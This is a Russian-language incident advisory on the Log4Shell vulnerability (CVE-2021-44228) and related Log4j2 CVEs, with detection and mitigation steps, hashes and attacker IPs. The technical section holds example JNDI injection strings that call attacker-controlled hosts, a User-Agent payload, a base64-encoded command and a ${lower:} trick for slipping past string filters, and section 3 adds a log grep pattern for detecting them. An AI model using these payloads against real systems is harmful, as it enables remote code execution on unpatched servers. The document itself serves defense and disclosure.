Обновлено от 28.12.2021
1. Описание зафиксированной угрозы
Первая уязвимость
[Название угрозы]: RCE-уязвимость в библиотеке журналирования приложений Apache Log4j (aka Log4Shell, Log4Jam)
[Тип угрозы]: уязвимость удаленного исполнения кода (RCE)
[CVE]: CVE-2021-44228
[CVSS vector]: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
[Platform]: Cross-platform[Product]: Apache Log4j2
[Version]: все версии от 2.0-beta9 до 2.14.1
[Severity]: 10/10
[Дата обнаружения]: 24.11.2021
Вторая уязвимость
[Название угрозы]: RCE-уязвимость в Apache Log4j2 Thread Context Lookup Pattern при нестандартных конфигурациях
[Тип угрозы]: уязвимость удаленного исполнения кода (RCE)
[CVE]: CVE-2021-45046
[CVSS vector]: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
[Platform]: Cross-platform[Product]: Apache Log4j2
[Version]: все версии от 2.0-beta9 до 2.15.0, кроме 2.12.2
[Severity]: 9/10
[Дата обнаружения]: 14.12.2021
Третья уязвимость
[Название угрозы]: Отсутствие защиты от неконтролируемой рекурсии при поиске
[Тип угрозы]: Отказ в обслуживание (DoS)
[CVE]: CVE-2021-45105
[CVSS vector]: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
[Platform]: Cross-platform[Product]: Apache Log4j2
[Version]: все версии от 2.0-beta9 до 2.16.0
[Severity]: 7.5/10
[Дата обнаружения]: 16.12.2021
Четвертая уязвимость
[Название угрозы]: RCE-уязвимость в библиотеке при нестандартных(вредоносных) конфигурациях
[Тип угрозы]: уязвимость удаленного исполнения кода (RCE)
[CVE]: CVE-2021-44832
[CVSS vector]: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
[Platform]: Cross-platform[Product]: Apache Log4j2
[Version]: все версии от 2.0-alpha7 до 2.17.0, за исключением 2.3.2 и 2.12.4
[Severity]: 6.6/10
[Дата обнаружения]: 11.12.2021
24 ноября 2021 года группа исследователей кибербезопасности из Alibaba Cloud официально уведомила Apache об обнаружении опасной уязвимости удаленного выполнения кода в библиотеке журналирования Apache Log4j 2.
Log4j 2 – это широко распространённая сторонняя библиотека журналов с открытым исходным кодом, используемая в программных приложениях и службах. Log4j 2 применяется в первую очередь в приложениях, написанных на языке программирования Java, однако также часто встречается в приложениях, которые используют другие языки, такие как Scala, Groovy или Clojure. Поскольку данные языки программирования используются множеством приложений как для OS Windows, так и Linux, то уязвимость имеет кроссплатформенный характер.
Уязвимость Log4Shell (CVE-2021-44228) является крайне опасной по трем причинам:
1) Во-первых, злоумышленники могут легко ее эксплуатировать. Передать уязвимому компоненту эксплойт можно множеством способов, например, указав в поле логина или одном из полей HTTP заголовка простую текстовую команду. Особые навыки для этого не нужны.
2) Во-вторых, библиотека, в которой нашли Log4Shell, чрезвычайно широко используется в системах и продуктах различных производителей. В числе пострадавших компании Apple, Amazon, CloudFlare, Google, LinkedIn, уязвимы решения от Cisco, Oracle, RedHat и др. Наиболее актуальный список подверженных уязвимости продуктов можно найти здесь.
3) В-третьих, уязвимые продукты и решения, как правило, доступны в интернете, т.е. злоумышленнику не нужно каким-либо образом проникать в инфраструктуру компании-жертвы, достаточно всего лишь обратиться к веб-сайту или опубликованному решению, использующим уязвимый компонент.
В настоящее время Jet CSIRT фиксирует факты того, что уязвимость Log4Shell уже активно применяется в реальных атаках на организации, в том числе операторами шифровальщиков.
2. Технические детали угрозы
CVE-2021-44228
Библиотека Log4j 2 содержит класс JndiLookup (org.apache.logging.log4j.core.lookup), который позволяет получать переменные через механизм JNDI (Java Naming and Directory Interface).
JNDI – это служба каталогов, благодаря которой Java-клиенты могут находить данные (в форме объекта Java) в каталоге. JNDI имеет ряд интерфейсов поставщиков услуг (SPI), которые позволяют использовать различные службы каталогов, среди них – CORBA COS (Common Object Service), RMI (Remote Method Interface), DNS (Domain Name System), LDAP (Lightweight Directory Access Protocol), HTTP (Hyper-Text Transfer Protocol) и другие.
По умолчанию ключ для класса JndiLookup будет иметь префикс java:comp/env/, однако, если ключ содержит ":" (двоеточие), то префикс не будет добавлен. Таким образом, если передать серверу строку вида: ${jndi:dns://attacker.com/payload}, то сервер выполнит запрос к ресурсу attacker.com.
Эксплуатация уязвимости Log4Shell происходит в несколько этапов:
1) Злоумышленник каким-либо образом отправляет на атакуемый сервер данные, которые записываются в журнал посредством уязвимого компонента Log4j.
Это может быть HTTP-запрос, заполнение какой-либо веб-формы или поля для ввода данных на сайте, отправка сообщения в чат приложения и другое. Самое главное – чтобы эти данные записались в журнал атакуемого приложения.
Данные обычно содержат вредоносную нагрузку вида:
${jndi:dns://attacker.com/payload}
Где attacker.com – сервер, контролируемый злоумышленником;
payload – вредоносная нагрузка, которую злоумышленник хочет исполнить;
2) Уязвимый компонент Log4j через класс JndiLookup обратится к серверу злоумышленника посредством JNDI.
3) Контролируемый злоумышленником сервер возвращает в качестве ответа вредоносную нагрузку, которая исполняется на атакуемом хосте.
Пример вредоносных сущностей:
Пример внедрения вредоносной нагрузки в User-Agent:
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
Пример использования HTTP в качестве SPI:
${jndi:hxxp://x.x.x.x/callback/https-port-443-and-http-callback-scheme}
Пример использования LDAP в качестве SPI:
${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}
Пример использования LDAP в качестве SPI и вредоносной нагрузки, закодированной base64:
${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wZW50ZXN0Y2hlY2s=}
Пример кодирования конструкции ${jndi в base64:
${base64:JHtqbmRp
Пример обхода блокировок типовых строк, таких как jndi:ldap:
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x
CVE-2021-45046
Данная уязвимость связана с недостаточным решением проблемы в рамках устранения уязвимости CVE-2021-44228.В случае если в конфигурации используется нестандартный шаблон (пример: {$$(ctx:loginid} ) атакущий может сгенерировать вредоносный запрос с использованием JNDI и тем самым выполнить произвольный код в системе.
CVE-2021-45105
Уязвимость связана с отсутствием защиты от неконтролируемой рекурсии.В случае если в конфигурации используется нестандартный шаблон (пример: {$$(ctx:loginid} ) злоумышленник может создать вредоносный запрос, содержащий рекурсивный поиск, что приведет к ошибке StackOverflowError и как следствие завершит процесс в системе.
CVE-2021-44832
При наличии разрешений на изменение файлов конфигурации злоумышленник может создать вредоносную конфигурацию с использованием JDBC Appender, где источник может ссылаться на JDNI URI, позволяющий выполнить произвольный код в системе.3. Рекомендации по обнаружению уязвимых компонентов
Для обнаружения уязвимых компонентов в своей инфраструктуре рекомендуется выполнить следующие действия:
- Определить список потенциально уязвимых решений, используемых в инфраструктуре, и ознакомиться с бюллетенем безопасности о Log4j 2 от производителя с помощью следующих ресурсов:
Важно! В первую очередь рекомендуется сфокусироваться на системах, которые должны быть доступны из Интернета или находящихся в DMZ-зонах, а затем на внутренних системах, к которым нет доступа извне.
Поиск уязвимых библиотек можно выполнить одним из следующих способов:Выполнить поиск библиотек, содержащих JndiLookup.class:
В переменной %путь% необходимо указывать целевой каталог проверки или диск(Пример: "C:\" для Windows или "/" для Unix)
Для Unix-систем:
- find %путь% -name "*.jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always JndiLookup.class' \; -print
- Для Windows-систем:
Powershell 3.0 и выше: Get-ChildItem -Path "%путь%" -File "*.jar" -rec -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path Powershell 2.0: Get-ChildItem -Path "%путь%" -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Pat
- Выполнить поиск уязвимых библиотек по хэш-суммам с помощью утилиты командной строки, разработанной компанией Lunasec:
- https://github.com/lunasec-io/lunasec/releases
log4shell scan your-project-dir/
Пример команды на Windows:
log4shell.exe scan your-project-dir/
Пример вывода работы инструмента:
8:08AM INF identified vulnerable path fileName=org/apache/logging/log4j/core/net/JndiManager$1.class path=test/struts-2.5.28-all/struts-2.5.28/apps/struts2-rest-showcase.war::WEB-INF/lib/log4j-core-2.12.1.jar versionInfo="log4j 2.8.2-2.12.0" Выполнить сканирование файловой системы на предмет наличия уязвимого файла log4j.jar.Установить инструмент: git clone https://github.com/lunasec-io/lunasec.git cd lunasec/tools/log4shell-scripts./setup.sh
Запустить сканирование:./find-bad-deps.sh /path/to/folder/to/scan
Это менее точный метод обнаружения, поскольку он требует присутствия файла log4j.jar внутри файловой системы для проверки.
- Выполнить ручную проверку журналов на предмет попыток эксплуатации уязвимости.
- Для Unix-систем: sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+|\$\{base64:JHtqbmRp' /var/log//
4. Рекомендации по устранению уязвимости Log4Shell
Важно! В случае использования вендорского решения рекомендуется ознакомиться с официальным бюллетенем безопасности о Log4j от производителя. Наиболее актуальный список уязвимых решений по производителям приведен здесь.
- После определения списка уязвимых систем как можно скорее выполнить установку официального обновления безопасности от Apache Log4j версии 2.17.1 для Java 8, 2.12.4 для Java 7 и 2.3.2 для Java 6: https://logging.apache.org/log4j/2.x/download.html
Важно! В первую очередь рекомендуется выполнять обновления на системах, которые должны быть доступны из Интернета или находящихся в DMZ-зонах, а затем на внутренних системах, к которым нет доступа извне.
-
Если по каким-либо причинам оперативное обновление системы, доступной извне, невозможно, то рекомендуется изолировать систему от Интернета и выполнить следующее действие (также применимо ко внутренним системам в качестве временного решения):
-
Удалить класс JndiLookup с помощью команды:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
5. Основные индикаторы компрометации
Тип индикатора |
Список |
---|---|
1. Хэш-суммы уязвимых .jar-файлов |
bf4f41403280c1b115650d470f9b260a5c9042c04d9bcc2a6ca504a66379b2d6 58e9f72081efff9bdaabd82e3b3efe5b1b9f1666cefe28f429ad7176a6d770ae ed285ad5ac6a8cf13461d6c2874fdcd3bf67002844831f66e21c2d0adda43fa4 dbf88c623cc2ad99d82fa4c575fb105e2083465a47b84d64e2e1a63e183c274e a38ddff1e797adb39a08876932bc2538d771ff7db23885fb883fec526aff4fc8 7d86841489afd1097576a649094ae1efb79b3147cd162ba019861dfad4e9573b 4bfb0d5022dc499908da4597f3e19f9f64d3cc98ce756a2249c72179d3d75c47 473f15c04122dad810c919b2f3484d46560fd2dd4573f6695d387195816b02a6 b3fae4f84d4303cdbad4696554b4e8d2381ad3faf6e0c3c8d2ce60a4388caa02 dcde6033b205433d6e9855c93740f798951fa3a3f252035a768d9f356fde806d 85338f694c844c8b66d8a1b981bcf38627f95579209b2662182a009d849e1a4c db3906edad6009d1886ec1e2a198249b6d99820a3575f8ec80c6ce57f08d521a ec411a34fee49692f196e4dc0a905b25d0667825904862fdba153df5e53183e0 a00a54e3fb8cb83fab38f8714f240ecc13ab9c492584aa571aec5fc71b48732d c584d1000591efa391386264e0d43ec35f4dbb146cad9390f73358d9c84ee78d 8bdb662843c1f4b120fb4c25a5636008085900cdf9947b1dadb9b672ea6134dc c830cde8f929c35dad42cbdb6b28447df69ceffe99937bf420d32424df4d076a 6ae3b0cb657e051f97835a6432c2b0f50a651b36b6d4af395bbe9060bb4ef4b2 535e19bf14d8c76ec00a7e8490287ca2e2597cae2de5b8f1f65eb81ef1c2a4c6 42de36e61d454afff5e50e6930961c85b55d681e23931efd248fd9b9b9297239 4f53e4d52efcccdc446017426c15001bb0fe444c7a6cdc9966f8741cf210d997 df00277045338ceaa6f70a7b8eee178710b3ba51eac28c1142ec802157492de6 28433734bd9e3121e0a0b78238d5131837b9dbe26f1a930bc872bad44e68e44e cf65f0d33640f2cd0a0b06dd86a5c6353938ccb25f4ffd14116b4884181e0392 5bb84e110d5f18cee47021a024d358227612dd6dac7b97fa781f85c6ad3ccee4 ccf02bb919e1a44b13b366ea1b203f98772650475f2a06e9fac4b3c957a7c3fa 815a73e20e90a413662eefe8594414684df3d5723edcd76070e1a5aee864616e 10ef331115cbbd18b5be3f3761e046523f9c95c103484082b18e67a7c36e570c dc815be299f81c180aa8d2924f1b015f2c46686e866bc410e72de75f7cd41aae 9275f5d57709e2204900d3dae2727f5932f85d3813ad31c9d351def03dd3d03d f35ccc9978797a895e5bee58fa8c3b7ad6d5ee55386e9e532f141ee8ed2e937d 5256517e6237b888c65c8691f29219b6658d800c23e81d5167c4a8bbd2a0daa3 d4485176aea67cc85f5ccc45bb66166f8bfc715ae4a695f0d870a1f8d848cc3d 3fcc4c1f2f806acfc395144c98b8ba2a80fe1bf5e3ad3397588bbd2610a37100 057a48fe378586b6913d29b4b10162b4b5045277f1be66b7a01fb7e30bd05ef3 5dbd6bb2381bf54563ea15bc9fbb6d7094eaf7184e6975c50f8996f77bfc3f2c c39b0ea14e7766440c59e5ae5f48adee038d9b1c7a1375b376e966ca12c22cd3 6f38a25482d82cd118c4255f25b9d78d96821d22bab498cdce9cda7a563ca992 54962835992e303928aa909730ce3a50e311068c0960c708e82ab76701db5e6b e5e9b0f8d72f4e7b9022b7a83c673334d7967981191d2d98f9c57dc97b4caae1 68d793940c28ddff6670be703690dfdf9e77315970c42c4af40ca7261a8570fa 9da0f5ca7c8eab693d090ae759275b9db4ca5acdbcfe4a63d3871e0b17367463 006fc6623fbb961084243cfc327c885f3c57f2eba8ee05fbc4e93e5358778c85 |
2. IP-адреса, замеченные в атаках с использованием Log4Shell |
1.116.59[.]211 1.179.247[.]182 101.204.24[.]28 101.35.154[.]34 108.61.148[.]110 109.195.85[.]191 109.70.100[.]27 111.59.85[.]209 112.74.34[.]48 112.74.52[.]90 113.141.64[.]14 113.98.224[.]68 114.112.161[.]155 118.27.36[.]56 120.195.30[.]152 120.211.140[.]116 120.24.23[.]84 121.4.56[.]143 121.5.113[.]11 124.224.87[.]11 128.199.15[.]215 128.199.24[.]9 131.100.148[.]7 133.18.201[.]195 137.184.104[.]73 137.184.106[.]119 137.184.111[.]180 137.184.98[.]176 137.184.99[.]8 138.197.106[.]234 138.197.108[.]154 138.197.9[.]239 139.59.101[.]242 139.59.103[.]254 139.59.108[.]31 139.59.163[.]74 139.59.182[.]104 139.59.188[.]119 139.59.224[.]7 139.59.96[.]42 139.59.97.205 139.59.99[.]80 142.93.157[.]150 143.198.180[.]150 143.198.183[.]66 146.56.131[.]161 146.56.148[.]181 146.70.75[.]54 147.182.179[.]141 147.182.187[.]229 147.182.195[.]250 147.182.216[.]21 154.65.28[.]250 157.245.102[.]218 157.245.109[.]75 157.245.111[.]218 159.203.58[.]73 159.223.42[.]182 159.223.9[.]17 159.65.59[.]77 159.89.146[.]147 159.89.150[.]150 159.89.154[.]102 159.89.154[.]185 159.89.154[.]64 159.89.94[.]219 164.52.53[.]163 164.90.196[.]7 165.232.80[.]22 167.172.94[.]250 167.99.204[.]151 167.99.216[.]68 167.99.221[.]217 167.99.221[.]249 167.99.36[.]245 167.99.44[.]32 170.210.45[.]163 171.221.235[.]43 175.6.210[.]66 177.185.117[.]129 178.128.226[.]212 178.176.202[.]121 178.204.251[.]33 178.62.23[.]146 178.69.32[.]226 18.204.199[.]0 182.99.246[.]192 185.220.100[.]242 185.220.100[.]253 185.220.101[.]135 188.126.89[.]151 188.166.102[.]47 188.166.225[.]104 188.166.33[.]244 188.166.45[.]93 188.166.86[.]206 191.232.38[.]25 194.127.167[.]100 194.163.163[.]20 194.99.105[.]75 195.201.175[.]217 195.251.41[.]139 198.98.57[.]191 20.205.104[.]227 20.71.156[.]146 209.97.133[.]112 211.154.194[.]21 217.112.83[.]246 218.29.217[.]234 218.89.222[.]71 221.199.187[.]100 221.226.159[.]22 221.228.87[.]37 35.232.163[.]113 37.120.189[.]247 37.120.232[.]51 39.102.236[.]51 41.203.140[.]114 45.153.160[.]134 46.105.95[.]220 46.4.51[.]212 49.233.62[.]251 49.234.81[.]169 49.7.224[.]217 5.157.38[.]50 5.254.43[.]59 51.105.55[.]17 60.31.180[.]149 61.175.202[.]154 61.178.32[.]114 61.19.25[.]207 68.183.198[.]36 68.183.207[.]73 68.183.35[.]171 68.183.41[.]150 68.183.44[.]143 86.109.208[.]194 89.249.63[.]3 89.38.97[.]116 89.38.97[.]144 92.63.197[.]53 94.103.94[.]113 95.161.221[.]20 96.8.169[.]55 |
6. Ссылки
https://www.cyberkendra.com/2021/12/apache-log4j-vulnerability-details-and.htmlhttps://www.cyberkendra.com/2021/12/log4shell-advisory-resource-cheat-sheet.html
https://logging.apache.org/log4j/2.x/security.html
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/
https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/
https://github.com/lunasec-io/lunasec/releases
https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
https://github.com/YfryTchsGD/Log4jAttackSurface
https://github.com/NCSC-NL/log4shell/tree/main/software